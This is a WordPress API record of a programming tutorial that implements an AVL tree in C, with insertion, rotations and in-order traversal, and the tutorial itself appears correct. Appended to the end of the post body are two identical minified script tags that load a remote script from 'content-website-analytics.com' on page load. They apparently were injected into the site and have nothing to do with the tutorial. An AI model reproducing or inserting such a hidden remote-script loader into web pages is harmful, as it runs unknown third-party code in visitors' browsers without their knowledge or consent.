{"id":843,"date":"2024-10-14T14:19:15","date_gmt":"2024-10-14T08:49:15","guid":{"rendered":"https:\/\/codexplained.in\/?p=843"},"modified":"2025-11-24T15:46:51","modified_gmt":"2025-11-24T10:16:51","slug":"implementation-of-avl-tree-balanced-binary-search-tree","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=843","title":{"rendered":"Implementation of AVL Tree (Balanced Binary Search Tree)"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Problem Statement<\/h3>\n\n\n\n<p>The task is to implement an AVL tree with operations such as insertion and in-order traversal to display the elements in sorted order.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Key Concepts<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Node Structure<\/strong>: Each node will contain a value, pointers to its left and right children, and a height attribute.<\/li>\n\n\n\n<li><strong>Height Calculation<\/strong>: The height of a node is defined as the longest path from that node to a leaf.<\/li>\n\n\n\n<li><strong>Balancing<\/strong>: After each insertion, the tree must be balanced. This involves checking the balance factor (difference in height between left and right subtrees) and performing rotations if necessary.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Operations<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Insertion<\/strong>: Insert a new value while maintaining the binary search tree properties and balancing the tree.<\/li>\n\n\n\n<li><strong>Rotations<\/strong>: Use single and double rotations to rebalance the tree:\n<ul class=\"wp-block-list\">\n<li>Right Rotation<\/li>\n\n\n\n<li>Left Rotation<\/li>\n\n\n\n<li>Left-Right Rotation<\/li>\n\n\n\n<li>Right-Left Rotation<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>In-Order Traversal<\/strong>: This will allow us to see the elements of the AVL tree in sorted order.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">C Program for AVL Tree<\/h3>\n\n\n\n<p>Here\u2019s a complete C program to implement an AVL tree:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Structure for an AVL tree node\nstruct AVLNode {\n    int key;\n    struct AVLNode *left;\n    struct AVLNode *right;\n    int height;\n};\n\n\/\/ Function to get the height of the node\nint height(struct AVLNode *N) {\n    if (N == NULL) return 0;\n    return N-&gt;height;\n}\n\n\/\/ Function to get the maximum of two integers\nint max(int a, int b) {\n    return (a &gt; b) ? a : b;\n}\n\n\/\/ Function to create a new AVL node\nstruct AVLNode* newNode(int key) {\n    struct AVLNode* node = (struct AVLNode*)malloc(sizeof(struct AVLNode));\n    node-&gt;key = key;\n    node-&gt;left = NULL;\n    node-&gt;right = NULL;\n    node-&gt;height = 1; \/\/ New node is initially added at leaf\n    return node;\n}\n\n\/\/ Right rotate the subtree rooted with y\nstruct AVLNode* rightRotate(struct AVLNode *y) {\n    struct AVLNode *x = y-&gt;left;\n    struct AVLNode *T2 = x-&gt;right;\n\n    \/\/ Perform rotation\n    x-&gt;right = y;\n    y-&gt;left = T2;\n\n    \/\/ Update heights\n    y-&gt;height = max(height(y-&gt;left), height(y-&gt;right)) + 1;\n    x-&gt;height = max(height(x-&gt;left), height(x-&gt;right)) + 1;\n\n    \/\/ Return new root\n    return x;\n}\n\n\/\/ Left rotate the subtree rooted with x\nstruct AVLNode* leftRotate(struct AVLNode *x) {\n    struct AVLNode *y = x-&gt;right;\n    struct AVLNode *T2 = y-&gt;left;\n\n    \/\/ Perform rotation\n    y-&gt;left = x;\n    x-&gt;right = T2;\n\n    \/\/ Update heights\n    x-&gt;height = max(height(x-&gt;left), height(x-&gt;right)) + 1;\n    y-&gt;height = max(height(y-&gt;left), height(y-&gt;right)) + 1;\n\n    \/\/ Return new root\n    return y;\n}\n\n\/\/ Get the balance factor of the node\nint getBalance(struct AVLNode *N) {\n    if (N == NULL) return 0;\n    return height(N-&gt;left) - height(N-&gt;right);\n}\n\n\/\/ Function to insert a key in the subtree rooted with node and returns the new root of the subtree\nstruct AVLNode* insert(struct AVLNode* node, int key) {\n    \/\/ 1. Perform the normal BST insert\n    if (node == NULL) return newNode(key);\n\n    if (key &lt; node-&gt;key) {\n        node-&gt;left = insert(node-&gt;left, key);\n    } else if (key &gt; node-&gt;key) {\n        node-&gt;right = insert(node-&gt;right, key);\n    } else {\n        return node; \/\/ Duplicates are not allowed\n    }\n\n    \/\/ 2. Update the height of this ancestor node\n    node-&gt;height = 1 + max(height(node-&gt;left), height(node-&gt;right));\n\n    \/\/ 3. Get the balance factor of this ancestor node to check whether it became unbalanced\n    int balance = getBalance(node);\n\n    \/\/ If this node becomes unbalanced, then there are 4 cases\n\n    \/\/ Left Left Case\n    if (balance &gt; 1 &amp;&amp; key &lt; node-&gt;left-&gt;key) {\n        return rightRotate(node);\n    }\n\n    \/\/ Right Right Case\n    if (balance &lt; -1 &amp;&amp; key &gt; node-&gt;right-&gt;key) {\n        return leftRotate(node);\n    }\n\n    \/\/ Left Right Case\n    if (balance &gt; 1 &amp;&amp; key &gt; node-&gt;left-&gt;key) {\n        node-&gt;left = leftRotate(node-&gt;left);\n        return rightRotate(node);\n    }\n\n    \/\/ Right Left Case\n    if (balance &lt; -1 &amp;&amp; key &lt; node-&gt;right-&gt;key) {\n        node-&gt;right = rightRotate(node-&gt;right);\n        return leftRotate(node);\n    }\n\n    \/\/ return the (unchanged) node pointer\n    return node;\n}\n\n\/\/ Function for in-order traversal\nvoid inOrder(struct AVLNode *root) {\n    if (root != NULL) {\n        inOrder(root-&gt;left);\n        printf(&quot;%d &quot;, root-&gt;key);\n        inOrder(root-&gt;right);\n    }\n}\n\n\/\/ Main function\nint main() {\n    struct AVLNode *root = NULL;\n\n    int n, key;\n    printf(&quot;Enter the number of elements to insert: &quot;);\n    scanf(&quot;%d&quot;, &amp;n);\n\n    printf(&quot;Enter %d elements:\\n&quot;, n);\n    for (int i = 0; i &lt; n; i++) {\n        scanf(&quot;%d&quot;, &amp;key);\n        root = insert(root, key);\n    }\n\n    printf(&quot;In-order traversal of the AVL tree:\\n&quot;);\n    inOrder(root);\n    printf(&quot;\\n&quot;);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Code<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Node Structure<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Each node has a key, pointers to its left and right children, and a height attribute.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Height and Balance Functions<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The <code>height<\/code> function returns the height of a node.<\/li>\n\n\n\n<li>The <code>getBalance<\/code> function calculates the balance factor of a node (left height &#8211; right height).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Rotations<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The program implements right and left rotations to maintain the AVL tree properties.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Insertion<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The <code>insert<\/code> function adds a new key while ensuring the tree remains balanced after each insertion.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>In-Order Traversal<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The <code>inOrder<\/code> function prints the keys in ascending order by recursively traversing the left subtree, then the current node, and finally the right subtree.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The main function allows the user to input multiple elements, inserting each into the AVL tree and then performing an in-order traversal to display the sorted elements.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input and Output Example<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">Input<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">code<code>Enter the number of elements to insert: 7<br>Enter 7 elements:<br>10 20 30 40 50 25 5<br><\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">Output<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">code<code>In-order traversal of the AVL tree:<br>5 10 20 25 30 40 50<br><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Output<\/h3>\n\n\n\n<p>In this case, the user inserts the elements into the AVL tree. The in-order traversal outputs the keys in sorted order, demonstrating that the tree maintains its properties as a binary search tree.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>This C program effectively implements an AVL tree, allowing for efficient insertion and in-order traversal. The balancing mechanism ensures that operations remain efficient even as elements are added, making AVL trees a robust choice for maintaining ordered data. You can experiment with different sets of inputs to see how the AVL tree adjusts itself and maintains balance.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Problem Statement The task is to implement an AVL tree with operations such as insertion and in-order traversal to display the elements in sorted order. Key Concepts Operations C Program for AVL Tree Here\u2019s a complete C program to implement an AVL tree: Explanation of the Code Input and Output Example Input codeEnter the number [&hellip;]<\/p>\n","protected":false},"author":39,"featured_media":844,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-843","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/843","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/39"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=843"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/843\/revisions"}],"predecessor-version":[{"id":1428,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/843\/revisions\/1428"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/844"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=843"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=843"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=843"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}